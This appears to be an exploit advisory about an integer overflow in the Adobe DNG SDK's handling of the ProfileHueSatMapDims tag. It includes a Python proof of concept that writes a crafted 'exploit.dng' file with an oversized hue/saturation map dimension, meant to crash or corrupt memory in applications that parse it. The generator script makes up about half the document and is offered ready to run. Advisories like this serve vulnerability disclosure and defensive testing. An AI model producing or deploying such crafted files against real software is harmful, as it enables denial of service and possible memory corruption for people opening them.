=============================================================================================================================================
| # Title     : Adobe SDK v 1.7.1 2410 SDK ProfileHueSatMapDims Integer Overflow Denial of Service                                          |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
| # Vendor    : https://helpx.adobe.com/camera-raw/digital-negative.html                                                                    |
=============================================================================================================================================

[+] Summary    :  A logic flaw in the processing of the ProfileHueSatMapDims (0xC6F5) tag within the Adobe DNG SDK can lead to an integer overflow condition when parsing crafted DNG files.
                  By supplying excessively large dimension values (e.g., 0x15555554) in the Hue/Saturation map metadata, 
				  an attacker can trigger incorrect memory size calculations during allocation or processing. 
				  
[+] This may result in:

Application crash (Denial of Service)

Memory corruption

Potential heap-related instability depending on compilation and runtime protections

The vulnerability occurs due to insufficient validation of multiplication operations involving attacker-controlled dimension fields before memory allocation.

A specially crafted DNG file can trigger the flaw when opened or processed by applications relying on vulnerable versions of the SDK developed by Adobe.
				  
[+] POC   :  

import struct

def generate_poc():

    header = b"\x49\x49\x2a\x00\x08\x00\x00\x00"
    num_entries = 1
    ifd = struct.pack("<H", num_entries)    
    tag_id = 0xC6F5
    tag_type = 4
    tag_count = 3

    malicious_dims = [0x15555554, 1, 1]
    tag_entry = struct.pack("<HHII", tag_id, tag_type, tag_count, 0x1A) 
    data_values = struct.pack("<III", *malicious_dims)
    
    with open("exploit.dng", "wb") as f:
        f.write(header)
        f.write(ifd)
        f.write(tag_entry)
        f.write(b"\x00" * 4) # Offset filler
        f.write(data_values)

    print("[+] exploit.dng has been generated.")

generate_poc()
	
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================